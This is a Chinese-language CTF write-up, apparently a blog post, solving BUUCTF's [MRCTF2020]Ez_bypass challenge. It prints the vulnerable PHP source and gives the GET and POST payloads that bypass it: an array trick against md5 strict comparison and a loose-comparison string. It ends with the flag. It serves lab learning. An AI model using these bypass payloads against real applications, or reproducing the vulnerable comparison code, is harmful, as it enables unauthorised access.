首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >BUUCTF [MRCTF2020]Ez_bypass 1

BUUCTF [MRCTF2020]Ez_bypass 1

作者头像
用户8909609
发布2023-11-26 12:10:50
发布2023-11-26 12:10:50
4080
举报
文章被收录于专栏:BM CTFBM CTF

题目环境:

F12查看源代码

代码语言:javascript
复制
I put something in F12 for you  
	include 'flag.php';  
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';  
if(isset($_GET['gg'])&&isset($_GET['id'])) {  
	$id=$_GET['id'];  
	$gg=$_GET['gg'];  
	if (md5($id) === md5($gg) && $id !== $gg) {  
		echo 'You got the first step';  
		if(isset($_POST['passwd'])) {  
			$passwd=$_POST['passwd'];  
			if (!is_numeric($passwd))  
			{  
				if($passwd==1234567)  
				{  
					echo 'Good Job!';  
					highlight_file('flag.php');  
					die('By Retr_0');  
				}  
				else  
				{  
					echo "can you think twice??";  
				}  
			}  
			else{  
				echo 'You can not get it !';  
			}  
		}  
		else{  
			die('only one way to get the flag');  
		}  
	}  
	else {  
		echo "You are not a real hacker!";  
	}  
}  
else{  
	die('Please input first');  
}  
}Please input first 

PHP代码审计

分析源码关键点 获取flag的思路: 需要满足两个条件: GET传参方式 - “===”;md5值强对比;id与gg的值不能相等;可通过数组并赋不同的值进行绕过。

POST传参方式

代码语言:javascript
复制
  - !is_numeric函数决定了passwd参数的值是数字或数字字符串,加个!就是相反的意思,如果passwd是数字字符串并等于1234567那么就会输出flag的值,如果不是那么就会进入else语句。

火狐浏览器传参 GET payload: ?id[]=1&gg[]=2 POST payload: passwd=1234567a

得到flag: flag{95c8f35d-4ce2-4ba8-a849-2bbd941a75ea}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-11-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档